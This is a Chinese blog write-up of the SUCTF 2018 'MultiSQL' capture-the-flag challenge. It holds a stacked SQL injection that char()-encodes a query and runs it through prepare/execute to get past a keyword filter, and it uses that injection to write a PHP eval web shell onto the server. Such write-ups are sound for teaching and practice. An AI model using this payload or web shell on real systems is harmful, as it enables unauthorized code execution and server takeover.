[SUCTF 2018]MultiSQL

最新推荐文章于 2023-12-13 16:23:27 发布

fmyyy1

最新推荐文章于 2023-12-13 16:23:27 发布

阅读量740

点赞数 1

分类专栏： # ctf做题记录 sql注入文章标签： ctf

本文链接：https://blog.csdn.net/fmyyy1/article/details/116498526

版权

ctf做题记录同时被 2 个专栏收录

49 篇文章 4 订阅

订阅专栏

sql注入

13 篇文章 1 订阅

订阅专栏

场景
在这里插入图片描述
注册登录

进入用户信息页面。

看到url中多了id参数，修改。

做到这已经知道是sql注入题。测试后知道这里可以异或布尔盲注和堆叠注入，但后面就注不出来了。fuzz后发现过滤了union，select之类的关键字。
参考wp，这里要用预处理写shell。

str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';"
len_str=len(str)
for i in range(0,len_str):
	if i == 0:
		print('char(%s'%ord(str[i]),end="")
	else:
		print(',%s'%ord(str[i]),end="")
print(')')

得到
char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)

payload:
1;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare payload from @sql;execute payload;
成功写入shell
在这里插入图片描述
最后配合shell在根目录找到flag
参考